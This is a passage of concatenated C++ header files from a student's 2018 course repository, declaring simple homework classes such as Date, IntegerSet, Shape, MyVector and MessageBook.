void NextDay(int n = 1);
bool SetDate(int year, int month, int day);
int year() const;
int month() const;
int day() const;
private:
static int GetDaysInYear(int year);
static int GetDaysInMonth(int year, int month);
static int ComputeDaysFromYearStart(int year, int month, int day);
int year_, month_, day_;
int days;
};
struct InvalidDateException {
string input_date;
InvalidDateException(const string& str) : input_date(str) {}
};
ostream& operator<<(ostream& os, const Date& c);
istream& operator>>(istream& is, Date& c);
#endif
|
noahzhy/cpp_2018_fall
|
hw7-1/integer_set.h
|
#ifndef __integer_set__
#define __integer_set__
#include <iostream>
#include <vector>
using namespace std;
class IntegerSet {
public:
IntegerSet();
~IntegerSet();
void AddNumber(int num);
void DeleteNumber(int num);
int GetItem(int pos) const;
std::vector<int> GetAll() const;
private:
std::vector<int> numbers_;
};
#endif
|
noahzhy/cpp_2018_fall
|
hw9-2/Animals.h
|
<gh_stars>0
#ifndef __Animals__
#define __Animals__
#include <iostream>
using namespace std;
class Animal {
public:
Animal(int age, string name);
virtual void printInfo();
protected:
string name;
int age;
};
class Zebra : public Animal {
public:
Zebra(int age, string name, int numStripes);
virtual void printInfo();
private:
int numStripes;
};
class Cat : public Animal {
public:
Cat(int age, string name, string favoriteToy);
virtual void printInfo();
private:
string favoriteToy;
};
#endif
|
noahzhy/cpp_2018_fall
|
hw6-2/reply_admin.h
|
#ifndef __reply_admin__
#define __reply_admin__
#include <iostream>
using namespace std;
class ReplyAdmin {
private:
string *chats;
public:
ReplyAdmin();
~ReplyAdmin();
int getChatCount();
bool addChat(string _chat);
bool removeChat(int _index);
bool removeChat(int *_indices, int _count);
bool removeChat(int _start, int _end);
};
#endif
|
noahzhy/cpp_2018_fall
|
hw10-2/print_shape.h
|
<filename>hw10-2/print_shape.h
#ifndef __print_shape__
#define __print_shape__
#include <iostream>
using namespace std;
#define pi 3.141592
class Shape{
public:
virtual double getArea() = 0;
virtual double getPerimeter() = 0;
virtual string getTypeString() = 0;
protected:
double area;
double perimeter;
string type;
};
class Rectangle : public Shape{
public:
Rectangle(double width,double height);
virtual double getArea();
virtual double getPerimeter();
virtual string getTypeString();
protected:
double width;
double height;
};
class Circle : public Shape{
public:
Circle(double radius);
virtual double getArea();
virtual double getPerimeter();
virtual string getTypeString();
protected:
double radius;
};
#endif
|
noahzhy/cpp_2018_fall
|
hw11-1/MyVector.h
|
#ifndef __MyVector__
#define __MyVector__
#include <iostream>
using namespace std;
class MyVector {
private:
int max_num;
double* a;
public:
MyVector(int m);
~MyVector();
MyVector operator+(const MyVector & a);
MyVector operator-(const MyVector & a);
MyVector operator+(const int a);
MyVector operator-(const int a);
friend ostream& operator << (ostream& out, MyVector b);
friend istream& operator >> (istream& in, MyVector b);
};
#endif
|
noahzhy/cpp_2018_fall
|
hw8-1/number.h
|
#ifndef __number__
#define __number__
#include <iostream>
using namespace std;
class Number {
protected:
int _num;
public:
void setNumber(int num) {
_num = num;
}
int getNumber() {
return _num;
}
};
class Square: public Number {
public:
int getSquare();
};
class Cube: public Square {
public:
int getCube ();
};
#endif
|
noahzhy/cpp_2018_fall
|
hw8-1/rectangle.h
|
<gh_stars>0
#include <iostream>
#ifndef __rectangle__
#define __rectangle__
using namespace std;
class Rectangle {
public:
Rectangle(int width, int height);
int getArea();
int getPerimeter();
protected:
int width_;
int height_;
};
class Square: public Rectangle {
public:
Square (int width);
void print();
};
class NonSquare: public Rectangle {
public:
NonSquare (int width, int height);
void print();
};
#endif
|
noahzhy/cpp_2018_fall
|
hw7-2/message_book.h
|
#ifndef __message_book__
#define __message_book__
#include <iostream>
#include <map>
#include <vector>
#include <string>
using namespace std;
class MessageBook {
public:
MessageBook();
~MessageBook();
void AddMessage(int number, const string& message);
void DeleteMessage(int number);
vector<int> GetNumbers() const;
const string& GetMessage(int number) const;
private:
map<int, string> messages_;
};
#endif
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.